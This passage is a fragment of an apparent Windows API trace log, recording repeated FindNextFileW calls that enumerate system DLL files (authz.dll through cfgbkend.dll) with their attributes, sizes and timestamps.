ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0185.138] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0185.139] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x727e48, dwReserved1=0x0, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0185.140] FindNextFileW (in: hFindFile=0x72fdc0, lpFindFileData=0x192fb60 | out: lpFindFileData=0x192fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, 